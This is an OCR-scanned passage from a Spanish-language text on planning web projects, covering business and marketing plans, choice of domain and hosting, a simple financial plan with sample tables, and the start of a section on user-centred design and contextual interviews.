que el sitio proveerd, entre los cuales se encuentran:
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Nombre del producto o servicio. Productos que seran vendidos o bien los
servicios que el usuario podra encontrar en el sitio.

Caracteristicas o funciones principales. Las caracteristicas o puntos fuertes
de los productos o servicios que el sitio proveera al usuario.

Utilidad para el cliente o necesidades que el sitio satisface. Indica de
manera clara el beneficio que el cliente encontrard al utilizar el sitio y las
ventajas de uso que éste le proporciona.

Marcas registradas. Se debe sefialar si el sitio incluird dentro de su
estructura marcas registradas ya sea propias o de terceros, esto se hace
con el fin de hacer un analisis legal adecuado y evitar cometer plagio de
manera involuntaria y el riesgo de demandas. El analisis Incluye todo tipo
de elementos de texto, gréaficos, imagenes, peliculas, animaciones o cédigo
fuente.

Disponibilidad del sitio. Se debe indicar el nivel de disponibilidad que se
desea para el sitio, indicando las horas al dia que estara disponible, el
tiempo promedio de mantenimiento y la politica de contingencia en caso de
emergencias que afecten el desempefio del mismo.

Capacidad profesional o técnica con la que se cuenta. indica claramente el
nivel técnico y académico y las habilidades del equipo de desarrollo con el
gue se cuenta actualmente. Se debe tener claro el perfil de cada uno de los
integrantes del equipo con el fin de verificarlos contra los perfiles requeridos
por las metodologias de desarrollo web. (véase capitulo 2 en lo referente a
metodologias de desarrollo) y determinar si es necesario la contratacion de
personal extra en el caso de que la metodologia elegida posteriormente

requiera de personal extra.
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Desafios del proyecto

En esta seccion se analizan los problemas y/o dificultades clave que el
equipo de desarrollo debe resolver o bien los retos que el proyecto plantea, los
desafios deben describirse en funcion del negocio y no de un producto o
tecnologia en particular (por ejemplo para un sistema operativo o0 una
herramienta de software especifica. Estos desafios pueden convertirse en

ventajas competitivas si logran resolver una necesidad especial del mercado.

Caracteristicas esperadas por el cliente

Se incluye en esta seccion la expectativa que el cliente y usuarios finales
tienen del sistema incluyendo las caracteristicas deseadas y cualidades que
se consideran necesarias 0 novedosas. Ejemplos de ellas pueden ser:
facilidad de uso, pantallas interactivas, manejo eficiente de errores y tiempo de

respuesta adecuado.

Analisis de mercado

En este apartado se analizan las posibles oportunidades de negocios,
penetracion en el mercado o las posibilidades de éxito del proyecto en cuanto a
volumen de visitantes. Este andlisis es sumamente importante y no debe

tomarse a la ligera.

En el caso de sitios 0 paginas personales es también importante, ya que
permite a la persona interesada, saber si contara con los suficientes recursos
para terminar su idea y ponerla en marcha en un sitio web y si el mismo tiene

probabilidades de ser popular y tener buen nimero de visitas.
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El éxito de las paginas web personales se basa generalmente en su

popularidad y en el nUmero de hits que recibe.

Este analisis sera descrito en el plan de marketing a mencionarse

posteriormente en este capitulo.

Hospedaje y nombre de dominio del sitio

En esta parte se listan las alternativas del mercado existentes en cuanto
a hospedaje para sitios corporativos o bien el proveedor gratuito en el caso de
paginas personales. Se deben seleccionar ofertas de varios proveedores con el
fin de tomar una decision mas adecuada, contando para ello con los valores de
comparacion obtenidos. Se debe tener datos como el ancho de banda,
disponibilidad, precio y servicio. Si el sitio ya existe, se debe evaluar la
posibilidad de elegir otro proveedor de Internet y estos criterios facilitan una
posterior decision. La decision final de eleccién de un proveedor de Internet se

discutird posteriormente.

Seleccion de proveedores

Se debe seleccionar una lista de proveedores nacionales o
internacionales que se encuentren en capacidades de suplir las demandas de
suministros, equipo o asistencia técnica necesaria en el caso de que el equipo
de desarrollo no pueda llevarla a cabo por alguna razén. Los proveedores
elegidos deben tener un récord financiero y legal notable y tener un adecuado
control de calidad y servicio con el fin de evitar pérdidas monetarias y de

tiempo.
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3.1.2 Plan de marketing web

Junto con el plan de negocios web el plan de marketing web es
fundamental para  obtener la informacion necesaria para el correcto
funcionamiento del proyecto y para tener una perspectiva de los productos o

servicios que el sitio web proporcionara para su mercado objetivo.

Los elementos clave de un plan de marketing web eficaz son: (estructura del

plan de marketing tomada de ™y ?)

e Conocer a los consumidores, sus gustos, preferencias y expectativas

e Conocer la competencia, sus fortalezas y debilidades.

Mientras mejor se conozcan los elementos anteriores, se esta en una mejor
posicion para tomar decisiones sobre como desarrollar el proyecto y sobre

cudles son las posibles oportunidades.

Poseer la informacion de los usuarios y competidores otorga el poder de
tomar decisiones con mucha certeza sobre cdmo llenar las expectativas de los
usuarios, sus necesidades, como superar a los competidores y hallar un nicho
dentro del mercado como un sitio de e-commerce, un portal o bien una pagina

personal util, popular y bien reconocida por los usuarios.
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Contenido del plan de marketing

El propédsito fundamental del plan de marketing es definir el mercado,
identificar a los potenciales clientes, consumidores o visitantes, conocer la
competencia y desarrollar una estrategia para atraer y mantener a los usuarios.
Asi mismo proporciona una guia para manejar los cambios en el entorno

(nuevas tecnologias, cambios de preferencia de los usuarios etc).

Segun Kotler *?, las respuestas fundamentales que el plan de marketing

web debe resolver son:

e ¢Tiene una constante demanda este producto o servicio?

e ¢ Cuantos competidores proveen el mismo producto o servicio?

e (Es posible crear demanda en Internet para el producto o servicio?

e (Es posible competir en precio (si el sitio es comercial), calidad y

contenido?
Sumario Ejecutivo
En esta seccién se incluye un corto y descriptivo mensaje del propésito del
plan, es similar al sumario del plan de negocios y su objetivo es mostrar de

manera simple como obtener los objetivos del plan de negocios web por medio

de las herramientas conceptuales y especializadas de marketing.
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Auditoria de marketing de la compafia

Consiste en analizar de manera sistematica y periédica las caracteristicas,
objetivos, estrategias y medio ambiente de la empresa u organizacion en la cual
el proyecto web se desee implementar, con el fin de encontrar fortalezas y
debilidades y recomendar un plan de accion de marketing que beneficie al
objetivo del proyecto. En otras palabras, la auditoria ayuda a la organizacién a
saber dénde se encuentra con respecto al mercado al cual representa y los
métodos que ha utilizado para estar en dicha situacion. En el caso de entrar a
un mercado nuevo permite conocer los recursos y oportunidades que la
organizacion tiene con respecto al promedio del mercado y de los

competidores, basado en las caracteristicas de los sitios existentes.

Algunas preguntas necesarias en esta fase son, segln Kotler: *? (se han

adaptado al ambiente del proyecto)

1. Demograficos ¢Cuales son los principales elementos demograficos que

pueden proveer de oportunidades para este sitio?

2. Econdmicas. ¢Qué caracteristicas en ingresos, precios, créditos o ahorros

impactaran el sitio?

3. Tecnologia. ¢Qué cambios en la tecnologia estan ocurriendo?, ¢cuél es la

posicion de la compafiia en la tecnologia actual?

4. Politica. ¢El sitio puede tener alguna objecion politica? ¢Alguna ley puede

afectar la estrategia del proyecto?
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5. Cultural. ¢ Cual seré la actitud publica hacia el sitio? ¢ Cuales cambios en el

estilo de vida de los usuarios puede tener un impacto en el proyecto?

6. Mercados. ¢Qué esta pasando en los tamafios de los mercados, en el
crecimiento de los mismos y su adaptacion geogréafica? ¢cudles son los

segmentos de mercado objetivos?

7. Clientes. ¢ Como puntuaran al sitio los usuarios en calidad, servicio y precio
(si lo hubiera)? ¢ Quiénes son los clientes? ¢Qué compran, cuando compran
y por qué? (en el caso de un sitio gratuito, cuando lo visitan, que parte del
sitio utilizan, cuando y por qué)

8. Competencia. ¢ Quiénes son los principales competidores? ¢ Cuales son sus

estrategias, cuotas en el mercado, asi como sus fortalezas y debilidades?

9. Proveedores. ¢ Cuales aspectos tienden a afectar a los proveedores?

10. Mision, ¢Esta la mision del proyecto claramente definida y orientada al

mercado objetivo?
11.0Objetivos. ¢ Tiene la organizacion claramente definidos los objetivos del
proyecto que guien a la plantacion de marketing? ¢Tienen relacidén los

objetivos con las fortalezas y debilidades de la organizacion?

12.Estrategia. ¢ Tiene el proyecto una estrategia asociada para alcanzar sus

objetivos?

13.Presupuesto. ¢ Tiene el equipo u organizacion suficientes recursos para

realizar el proyecto y poder alcanzar sus objetivos?
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14. Sistema de plantacion. ¢Prepara el equipo planes estratégicos a largo
plazo? ¢Se usan dichos planes?

15.Control de alcance de marketing. ¢Se logran alcanzar los planes anuales?
¢Se analiza periodicamente las ventas (si es un sitio comercial) vy
rentabilidad dentro de los mercados objetivo? ¢el sitio web llena las

expectativas y alcanza sus metas de creacion?

16.Desarrollo de nuevos productos y/o servicios: ¢Esta la organizacion bien
organizada para crear nuevas ideas para productos o servicios a través de

un sitio web? ¢ Ha tenido éxito la organizacion con nuevos productos?

17.Rentabilidad. ¢ Cuan rentables son los productos o servicios que ofrece la
compaiia, o si existe, el sitio web? ¢Debe la organizacion entrar, expandir o

abandonar algun segmento de mercado?

18. Andlisis de costos. ¢ Tiene alguna actividad asociada con el sitio web un

costo excesivo? ¢ COmo se puede reducir esos costos?

19. Precio. ¢ Cuales son los objetivos de precios de la organizacion? (en caso
de ser un sitio web comercial), ¢cuales son las politicas de precios,
procedimientos y estrategias? ¢Como perciben los consumidores el precio
de los productos o servicios ofrecidos?
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20. Distribucion. ¢Cuales son los objetivos de distribucion del sitio web?
¢, Provee el sitio de una adecuada cobertura para los servicios que presta?

¢, Se deben cambiar algun canal de comunicacién o afiadir nuevos?

21.Publicidad, promociones y anuncios. ¢, Cuales son los objetivos de publicidad
del sitio? ¢Como se determina el presupuesto de publicidad del sitio? ¢ Es
suficiente? ¢Estan bien estructurados los mensajes y se reciben bien por

los clientes? ¢ Cuenta el sitio con promociones?

Anélisis FODA

El analisis FODA (fortalezas, oportunidades, debilidades y amenazas)
surge de la auditoria de marketing, consiste en una breve lista de los sucesos
criticos de la organizacién o sitio web existente y muestra las fortalezas y
debilidades propias contra las de la competencia, asi como cualquier

oportunidad divisada.

Objetivos y problemética

Una vez hecho el analisis FODA, se deben plantear los objetivos de
marketing y divisar las amenazas al mismo, en el caso de existir el sitio web,
entonces se deben trazar nuevos objetivos y ajustarlos al plan de negocios, en
este punto, una vez conocidos los factores que pueden afectar el desempefio y
el cumplimiento de las metas, el camino se ha trillado bastante y se puede tener

un buen horizonte sobre las metas impuestas.
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Estrategia de marketing

Aqui se debe decidir cuales seran las acciones concretas que seran
llevadas a cabo para cumplir con los objetivos del plan. Esta seccidn consiste
en saber el qué hacer o poner en practica las partes de la planificacion, esto es
una actividad tipica del tercer habito ya que pone en accion las premisas
definidas en la planificacion.  Entre las actividades a considerar estan las

siguientes segun Holtz *3:

Describir el mercado objetivo por:
e edad

e sexo

e profesion/carrera

¢ nivel de ingresos econémicos
¢ nivel de educacion

e residencia

Apuntar hacia aquellos clientes a los cuales se esta interesado
primordialmente: se debe saber toda la informacion que sea posible sobre ellos
incluyendo preferencias, expectativas y aspectos que les disgustan. Se debe
elegir los clientes por valor o por necesidad, por valor significa que se eligen los
clientes que han sido fieles a la compafiia o que tienen un historial de actividad
con la misma (o con el sitio web) y por necesidad aquellos que tengan mas
capacidad econ6mica, en el caso de un sitio comercial o que visiten mas

nuestro sitio en el caso de un sitio gratuito.

Identificar a la competencia: esto se logra por medio de las siguientes

herramientas:
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e datos de estudios de mercado
e demandas de productos o servicios similares

e describir las caracteristicas unicas del producto propio comparado con

el de la competencia

Se debe identificar cuales son los méas cercanos competidores y los
competidores indirectos, se debe seguir atentamente sus politicas de promocion
y publicidad, y sus estrategias de precios en el caso de los sitios comerciales.
Esto se debe revisar periodicamente para determinar como y cuando anuncian

sus productos y servicios.

Puede utilizar una tabla semejante a la siguiente por ejemplo.

Tabla Ill Analisis de competidores

Nombre de los competidores Calidad del producto o | Precio del producto o
servicio servicio
(alta- media - baja) (alta - media - baja)

Determine la cantidad esperada de clientes que espera tener en un
periodo dado y como va a llegar a ellos.

Determine qué facilidad desea el cliente para acceder al sitio web, cuanto
tiempo desea estar conectado a el y qué servicios le gustaria ver en el.

Determine qué aspectos debe mejorar para poder ser mas eficiente que la
competencia.
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Determine qué factores pueden frenar el desempefio del sitio web y cuales

riesgos atentan contra la efectividad del mismo.

Politica de precios

Si el sitio es comercial, se debe tener una politica adecuada de precios y
una estrategia para manejar los cambios de la misma de manera ordenada y
sistematica, existen diversas técnicas para el manejo de los precios, a
continuacion se presentan algunos criterios utilizados en el mercado para el

manejo de precios segtn Holtz **

e Aumentar o disminuir los precios para igualar la competencia

e Aumentar o disminuir los precios en preparacion a cambios tecnoldgicos
en el mercado

e Mantener los precios bajos para estimular altas ventas, alto volumen y
ganar altas cuotas de mercado

e Mantener precios altos para subir la imagen del sitio y mantener altos los
ingresos aunque las ventas bajen (ajustarse al principio de pareto 80/20
y buscar altos ingresos con ese 20% de clientes que pueden pagar altos

precios.)

Se debe ser realista con los precios de cualquier manera y los mismos
deben ser una imagen del valor del producto o servicio que se ofrece, el
principio general es que mientras mas escaso es un bien o servicio, mas alto es
su precio (es mas escaso) y normalmente a la inversa con productos de
abundante distribucion. EIl precio elegido debe ir siempre orientado hacia los
usuarios o clientes hacia los cuales se proyecto el producto o servicio que se
ofrece en el sitio, tomando muy en cuenta sus preferencias personales,

ingresos y educacion.
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Aunque los principios mencionados son Utiles para determinar el precio de
los productos o servicios ofrecidos en Internet, son el sentido comdn y la
experiencia las mejores guias para la colocacion de precios, sin embargo,
Chase y Barasch * proponen una lista de consejos utiles para manejar los

precios adecuadamente:

Los bajos precios son una buena estrategia si los productos o servicios son:

e ampliamente disponibles

e utilizables por largo tiempo

e no muy durables

e usados para una sola cosa

e de baja tecnologia o con poca tendencia a cambiar
e una fuente de ingresos a largo plazo

e vendidos en un ambiente competitivo de negocios.

e parte de una linea de productos o servicios relacionados.

Los altos precios son aconsejables si los productos o servicios son:

e raros o personalizados

e dados a pasar de moda rapidamente

e durables a lo largo de afos

e versatiles y de multiple uso

e de alta tecnologia, con mucha tendencia a cambiar o mejorar
e una fuente de ingresos a corto plazo

e vendidos en un ambiente de poca competencia

e parte de una linea de productos o servicios Unica

e Objetos de impulso o de emergencia
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Los bajos precios son buena estrategia si se desea:

la introduccién de un nuevo producto cuyos costos bajaran rapidamente
al incrementarse los volimenes de produccion

un sistema simple de distribucién que involucre un distribuidor

una gran cuota de mercado

minimo o ningun uso de soporte promocional a través de publicidad
entrada hacia un mercado bien desarrollado dominado por muchas
industrias

entrada hacia un mercado altamente competitivo

facil penetracién en el mercado

ingresos altos al largo plazo

Los altos precios son una buena estrategia si se desea:

introducir un producto o servicio novedoso cuyos costos se
incrementaran con el incremento de la produccion.

un complejo sistema de distribucion que involucra mdultiples niveles de
distribucion.

un pequeio y seleccionado mercado de compradores de alta capacidad
de compra.

uso considerable de publicidad y actividades de mercadeo.

entrar hacia un mercado escasamente desarrollado, dominado por
pocas empresas.

entrar un mercado nuevo o parcialmente desarrollado

alta rentabilidad a corto plazo.

Fin del plan de marketing.
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3.1.3 Actividades précticas

Registrar el nombre de dominio y seleccionar el hosting

Es importante registrar el nombre de dominio y decidir sobre el tipo de
hosting a utilizar, a continuacion se presenta una guia practica sobre la
escogencia de dichos elementos del sitio web segun el sitio de web source *°.
Se debe recordar que un web host es una compafiia que provee espacio de

almacenamiento para el sitio web, incluyendo todos sus elementos.

Web Hosts gratuitos vs. profesionales

Es importante hacer ver que si se desea crear un sitio dedicado a los
negocios o bien un portal de cualquier tipo, es absolutamente necesario contar
con un servicio de hosting profesional, es decir comercial, ya que el hosting
gratuito es inadecuado para un sitio serio. Las paginas personales si pueden
hacer uso del hosting gratuito. El hosting profesional implica que todo el
contenido web estara alojado en un servidor remoto por el cual se pagara una
cuota determinada, esto tiene la ventaja de que evitara la configuracion y
mantenimiento de dichos servidores, labor que ejecutara el proveedor de dicho
servicio. Se debe recordar que el hosting gratuito es inapropiado y carece de

valor para un sitio profesional.

Si se desea crear un sitio de comercio electronico o un portal con
informacion sensible quizas se desee contar con servidores propios, esto
ahorrara costos por hosting pero se tendran que configurar los propios
servidores, lo cual al corto plazo serd costoso, ademas que se tendran que
implementar politicas de disponibilidad para determinar cuanto tiempo estara

fuera el sistema por mantenimiento.
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Nombre de Dominio

El nombre de dominio sera la identidad del sitio en Internet y debe tener
una serie de caracteristicas con el fin de ser recordado facilmente por los
usuarios.

Nuevamente los sitios alojados en servidores gratuitos son inapropiados
para sitios profesionales o de caracter serio. Siempre se debe elegir un nombre
de dominio adecuado y registrarlo con las autoridades de Internet adecuadas
como Internic.

El nombre elegido es clave ya que representa la identidad del sitio en
Internet y también el prestigio del mismo, por lo que debe ser cuidadosamente

elegido.

Al sitio se le debe colocar una extension, si es comercial se elige
normalmente la extension .com, si es un sitio no lucrativo se elige la extension
.0rg y si es una institucion de servicios de red o similares la extension .net,
existen varios dominios utilizables que corresponden a cada pais como gt para

Guatemala.

Debe tratarse de seleccionar un nombre de dominio que contenga una
palabra clave del negocio o proyecto. Debe escogerse un nombre de dominio
corto y facil de recordar, se debe evitar el uso de caracteres extrafios y de
abreviaturas dificiles de recordar.

Caracteristicas de un web host profesional

1) Soporte 24/7

2) Soporte de nombre de dominio (www.misitio.com)
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3) Al menos 10GB de transferencia mensual, depende de las necesidades
del sitio
4) Un minimo de 20MB - 50MB de espacio fisico en servidor.
5) Numero ilimitado de cuentas de email POP usuario@misitio.com
6) Numero ilimitado de alias de email
7) Email forwarding
9) Su propio acceso irrestricto hacia CGI-Bin
10) Acceso a encriptamiento SSL para transacciones seguras.
11) Base de datos MySQL
12) Perl
13) Proteccion para htaccess password
14) Soporte de Server Side Includes (SSI)
16) Extensiones de Microsoft FrontPage Server
17) Acceso ilimitado al servidor via FTP/Telnet
18) Facil acceso a los archivos de log

19) Estadisticas sobre visitas al sitio

Estrategias de publicidad de sitios web

El primer tipo de publicidad a elegir es definitivamente los motores de
busqueda. Este tipo de herramientas son fundamentales en todo esfuerzo
por promocionar el sitio ya que son consultadas por millones de personas

diariamente.

La mayoria de portales mayores proveen este tipo de servicios, como

es el caso de yahoo.com e inktomi.
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Puede buscarse también, asociacion con otros sitios de diversa indole
gue ayuden al propio a ser conocido y a tener oportunidad de ser visitado
por los usuarios. La pagina Web puede ser promocionada también en los

siguientes medios:
e Anuncios impresos
o Radioy television

o Publicidad en Vallas y pancartas panoramicas en universidades,

autopistas o sitios concurridos.
o Publicidad por mail
o Articulos decorativos y calendarios
e Publicidad por medio de programas de afiliacion

En el capitulo cinco se mostrardn mas a detalle las técnicas mas comunes

de publicidad en Internet.

3.1.4 Plan financiero

El plan financiero es béasico e igualmente importante que el plan de
negocios general, mientras el segundo aporta los conocimientos necesarios
para saber qué hacer, como y cuando, el plan de finanzas aporta informacién
sobre el manejo de recursos econdmicos en sus diversas formas, los cuales
son generalmente escasos en la mayoria de proyectos y cuya correcta
utilizacion provee al administrador de proyecto de posibilidades mas elevadas
de ser exitoso y por el otro extremo, anticipa el fracaso del proyecto si se trata

con negligencia.
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A continuacion se discutira de manera sencilla, la forma de crear un plan

financiero eficiente con el fin de manejar adecuadamente el dinero disponible

para el proyecto, segln consejo de la Small Business Administration *° y AARP

17

Previo a realizar el plan financiero se debe hacer una serie de preguntas

sobre el proyecto:

¢, Se necesita mas capital del disponible actualmente o este es suficiente?

¢, Se necesita dinero extra para el proyecto o bien para crear un fondo de

emergencia para combatir los riesgos?

¢,Cuan urgente es la necesidad monetaria?

¢,Cuan severos son los riesgos asociados al proyecto?
¢En qué estado de desarrollo se encuentra el proyecto?
¢ Para qué se usara el dinero?

¢, Cual es el estado de la rama tecnoldgica a la cual se representa? ¢En
crecimiento, o en declive? Segun sea dicho estado asi se deberan tomar
medidas para asegurarse los fondos y la consecucion de estos dependen
mucho del tipo y estado del negocio o sector al cual estan enfocados y su

situacion actual.

¢ El negocio es de tipo ciclico o de temporada? estos son términos utilizados
en econometria para conocer los momentos adecuados para invertir en un
determinado proyecto segun sea su ciclo. Las necesidades para un proyecto
de temporada son de corto plazo generalmente, mientras que las ciclicas se

deben planificar para soportar los tiempos de bajo rendimiento.
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e ¢Qué tan bueno y estable es el equipo de administracion? Para manejar el

dinero es clave contar con buenos administradores.

« ¢COmo se adecuan las necesidades financieras con el plan de negocios
web? Antes de realizar el plan financiero se debe crear el plan de negocios
con el fin de tener una direccion clara hacia donde ir. Normalmente los
accionistas, propietarios de negocios o inversores desean ver el plan de
negocios del proyecto para convencerse que la inversion tiene
probabilidades de ser rentable y que dar& su retorno de inversién respectivo

en un plazo determinado.

Luego de esto se deben seguir algunos pasos basicos (recomendados por
AARP '8

Establecer metas financieras

El establecimiento de metas financieras es una tipica actividad del
cuadrante dos, que implica ser proactivos y planificar para el futuro, consiste en
tratar de ver hacia delante y visualizar los objetivos financieros a alcanzar en un
tiempo determinado. No necesariamente implica alcanzar beneficios
econdmicos en especie monetaria porque el capital también puede expresarse
en bienes distintos del dinero metélico. La compra de nuevo equipo informatico,
la consecucion de un viaje o un ascenso dentro de la organizacion son también

metas financieras.

Una vez divisadas las metas del proyecto, se debe trazar estrategias que
permitan alcanzar dichas metas. En determinados momentos que también son
planificados, se debe revisar el progreso en la consecucion de las metas y los

obstaculos u oportunidades que afecten o beneficien el proceso de plantacion
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financiera. Es importantisimo tener claras las metas, ya que sin ellas todo
esfuerzo resulta ambiguo y al final del proyecto no esta claro si se ha tenido
éxito o no.

Las metas pueden describirse en una tabla u hoja electrénica con la

siguiente informacion:

Fecha: fecha de inicio de una meta determinada.

Meta: la meta que se desee alcanzar,

Cantidad: cantidad monetaria que se considera necesaria para alcanzar la
meta anteriormente descrita.

Fecha objetivo: fecha en la cual se desea alcanzar la meta propuesta.

Fechareal: fecha en la cual se ha alcanzado la meta propuesta.

Tabla IV Metas financieras

Fecha Meta Cantidad Fecha objetivo Fecha real

02/02/2004 Cobro del 30% del Q.5,000 | 01/03/2004 03/02/2004
proyecto

02/02/2004 Abono del 20% Q. 3333 22/03/2004 20/03/2004
adicional

02/02/2004 Compra de licencias Q.15,000 | 15/04/2003 Pendiente
de software

Se debe hacer notar que las metas deben ser al mas largo plazo posibles
y en una cantidad suficiente para cubrir los riesgos principales del proyecto y
sus necesidades mas importantes, con el fin de que concuerden con el plan de
negocios, el cual es generalmente a mediano o largo plazo dependiendo de la

situacion del negocio y el proyecto a realizar.
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Manejo de fondos o cash flow

Es sumamente importante saber en todo momento, qué uso del dinero se
esta haciendo, tanto si se trata de ingresos y especialmente de los egresos. El
manejo de cash flow es una herramienta que permite conocer dichos detalles

de manera simple y efectiva y esta compuesto por los siguientes elementos:

Ingresos

Representan todos los ingresos monetarios que se tienen, generalmente
se calcula de forma mensual, trimestral, semestral, cuatrimestral y anual,
dependiendo del tipo de proyecto y la compafia para la cual esta siendo
realizado y el tipo de presupuesto de la misma. En los ingresos no solamente
se deben colocar los fondos obtenidos de las ventas, honorarios o servicios
profesionales, sino todos aquellos ingresos que provienen de diferentes fuentes
y que beneficien al equipo de trabajo o a la empresa a cargo del proyecto, al
final se realiza la suma total de los mismos para un periodo determinado Ej.
mensualmente. Esto se puede realizar en una tabla como la siguiente (segun

disefio de AARP véase )

Tabla V Ingresos mensuales

Fuente de ingresos Ingresos Q. Total Q.

Salarios/ pago de servicios/ honorarios

Salarios de otras actividades

Cuotas de seguro social

Seguros particulares

Rentas....

Total de ingresos mensuales Q.
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Gastos

En este renglon se debe anotar todos los gastos que se realicen dentro de

un periodo dado, por ejemplo mensualmente.

Al igual que en la tabla de ingresos se debe de anotar cualquier gasto en

el cual se haya incurrido, aunque esto es mas dificil de anotar que los ingresos

ya que generalmente, los ingresos son fijos y menos frecuentes que los egresos

y los egresos ocurren muchas veces sin que la persona que los efectia se de

cuenta de los mismos. Es recomendable anotar cualquier gasto que se realice

por pequefio que este sea con el fin de tener una informacion fiable sobre los

habitos de gastos propios.

Tabla VI Gastos Mensuales

Razon del egreso

Gastos fijos Q.

Gastos

variables Q.

Total Q.

Salarios/ pago de servicios/ honorarios

Salarios de otras actividades

Materiales y consumibles

Gasolina

Luz y teléfono...

Total de gastos mensuales

Q.

Una vez calculados todos los valores se puede proceder a calcular la

cantidad de ahorro mensual de la siguiente manera:

Ahorro mensual = total de ingresos mensuales-total de gastos mensuales.
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Si la cantidad resultante de la ecuacidn anterior es negativa significa que
se esta gastando mas de lo que se gana y es necesario modificar los habitos de
consumo o bien prescindir de algunos bienes o servicios no necesarios. Es
necesario para el equipo de desarrollo web aprender a administrar bien los
fondos, basandose en estos sencillos diagramas con el fin de reducir sus costos

y aumentar la cantidad disponible para inversion o utilidades para la empresa.

La cantidad obtenida anteriormente puede ser convertida a semestres,
trimestres, cuatrimestres o afios, multiplicandola por la cantidad de meses que
componen el periodo elegido, por ejemplo, para convertir los ingresos

mensuales a ingresos anuales se multiplican los ingresos mensuales por 12.

Valor neto

El plan financiero no puede estar completo sin conocer de manera
detallada el valor neto a través del inventario de bienes que se posee, asi como
las deudas y compromisos del equipo de desarrollo o departamento al cual se
pertenece, El valor neto es la diferencia entre estos dos elementos y consiste
en conocer cuantos activos quedan luego de pagar todas las deudas, véase la

nota 8,
Inventario de activos

Aqui se coloca la lista de activos que el equipo de desarrollo (en el caso
de tratarse de una empresa contratada para llevar a cabo el proyecto web), o

departamento de informatica posee, estos incluyen todas las cuentas

relacionadas con activos.

74



Tabla VIl Inventario de activos

Activos

Activos actuales afio 2004
Efectivo 20000.00
Cuentas por cobrar 3000.00
Equipo de computacion 30000.00
Total de activos 53000.00

Inventario de pasivos

Aqui se incluyen todas aquellas cuentas que representan deudas para la
compafiia, o bien obligaciones de pago para terceros, es necesario conocer
cuanto dinero se debe pagar para saber el verdadero estado financiero del

departamento o empresa.

Tabla VIII, inventario de pasivos

Pasivos

Pasivos actuales ano 2004
Cuentas por pagar 3000.00
prestamos 30000.00
Seguros 10000.00
Total de pasivos 43000.00

El valor neto se obtiene de la resta de los activos menos los pasivos, en
este ejemplo el valor neto es de Q.10, 000.00. EIl valor neto es de utilidad
porque permite conocer la situacion de la empresa y si la misma se encuentra

en una situacion financiera estable o tiene problemas.
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Si sucede lo segundo entonces se tienen que tomar acciones que corrijan
esa situacion porque la empresa se encuentra en riesgo de quiebra, la
discusion de terminologia financiera especializada esta fuera del alcance de
este texto por lo que se sugiere la consulta de obras especializadas o la

asesoria contable de algun experto.

Una vez conocido el estado financiero personal o de la empresa, es
necesario tomar en cuenta la naturaleza compleja de los mercados y no asumir
gue todo seguira su curso, ya que normalmente la naturaleza financiera de las
empresas es sumamente inestable y requiere de mucha proactividad y
revisiones constantes. Se debe anticipar en todo momento que la estabilidad
financiera puede verse afectada por factores externos ajenos a la organizacion,
como la estabilidad de mercados, caida de precios en las bolsas de valores,
quiebra de transnacionales o nuevas tecnologias o competidores que hacen
que el ambiente competitivo de la empresa cambie dramaticamente y con ello

su estabilidad econdmica.

3.2 Habito tres en usabilidad

Primeramente se debe decidir sobre la metodologia de desarrollo a
utilizarse, en este texto se ponen como ejemplo las populares RUP y XP, sin
embargo pueden utilizarse otras metodologias alternas como prototipos, etc.
Es importante que el equipo de desarrollo se sienta comodo con la metodologia
escogida y que pueda organizarse bien el proyecto utilizando una de estas
metodologias.

Una vez decidida la metodologia de trabajo a utilizarse se debe

comenzar el andlisis y disefio del sitio o el redisefio del mismo.
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En este texto se propone el disefio centrado en el usuario, que consiste
en colocar las expectativas y necesidades del usuario al lado de los criterios de
presupuesto y tiempo que manejan la mayoria de metodologias de desarrollo
de software. En IBM se acufid la frase que dice: “cada dolar invertido en
usabilidad produce un retorno de inversién de 10 a 100 ddlares” eso significa
gue el tiempo extra que se invierte en mejorar la usabilidad de una pagina web
devolvera sus frutos con la satisfaccion del cliente y de la facilidad de uso y

aprendizaje de nuevos usuarios.

El autor de este documento recomienda el uso del disefio orientado
al usuario, como complemento a cualquier metodologia usada (RUP, XP
etc.) con el fin de maximizar la satisfaccion del usuario final, ya que el uso de
una metodologia orientada al usuario (UCID, LUCID, TRUMP etc.) de manera
aislada no garantiza el éxito de un proyecto informatico ya que esta no ha sido
diseflada para cubrir la totalidad de elementos de un proyecto de manera

extensiva como las metodologias RUP y XP.

A continuacion y a lo largo de los capitulos subsecuentes, se mencionan
los métodos mas utilizados para construir software con un alto grado de

usabilidad.

3.2.1 Fase de andlisis

En esta fase los esfuerzos van dedicados al conocimiento del negocio y de
las reglas que gobiernan los procesos que desean informatizarse. Tipicamente
los expertos en usabilidad trabajan conjuntamente con los analistas del sistema
con el fin de comprender de la manera mas clara posible, los objetivos y
necesidades del negocio, asi como identificar a los usuarios y las necesidades

de estos, asi como las condiciones tipicas de uso del sistema.
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Esta informacion serd parte del plan de usabilidad, el cual se discutird

posteriormente, la informacién mostrada a continuacién esta basada en 4, ©, *°

y 20.

A continuacion se muestran las técnicas mas usadas para recoleccién de

informacion y entrevistas en la fase de andlisis en la metodologia UCID

Entrevista contextual (contextual inquiry)

Bé&sicamente es una entrevista; sin embargo difiere de una entrevista
convencional porque ademas de la informacion provista por el usuario, muestra
detalles sobre el entorno del usuario, su lugar de trabajo, sus tareas,
preferencias, jornada laboral, actitudes del usuario, cultura etc. Como puede
verse, mas que una entrevista es una observacién activa sobre las condiciones
en las cuales un usuario tipico se desenvuelve en su ambiente de trabajo o

lugar donde utiliza el sistema.

Por ejemplo: para el disefio de un sistema educativo en linea, es Uutil
observar las tareas tipicas de un potencial usuario, el lugar donde se conecta al
sistema, el horario en el cual lo hace, el tipo de conexién que utiliza, su nivel

educativo, su edad, sus preferencias personales, sus colores favoritos etc.

Toda esta informacién serd util para personalizar los servicios
ofrecidos en el sitio de acuerdo a las preferencias de la mayoria de sus
potenciales usuarios y mas aun podria ser una fuente para personalizar el sitio
segun las preferencias de cada usuario que utiliza el sistema segun sea el

propésito del mismo.
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Debe evitarse el uso de preguntas cerradas que tiendan a respuestas
simples o vagas, lo mejor es crear un clima de confianza en el cual el usuario
entrevistado pueda expresar libremente las ideas, necesidades, motivaciones,
problemas y comentarios acerca del sistema a construir o redisefiar, es
sumamente importante tomar en cuenta que el usuario no se debe sentir
amenazado o contrariado por su entrevistador, porque ello provocaria que se
ponga a la defensiva y anularia el beneficio que se desea percibir de la

actividad.

Aunque la informacién obtenida es subjetiva, es sumamente Util,
especialmente para conocer el entorno de negocios u organizaciones
desconocidas para el equipo de desarrollo. Debe asegurarse que se obtuvo la
opinion del usuario en cuanto a sus preferencias personales, criterios de éxito y
si es posible sobre sus comentarios, dudas o temores acerca del sistema y su

vision del mismo sea objetiva o0 no.

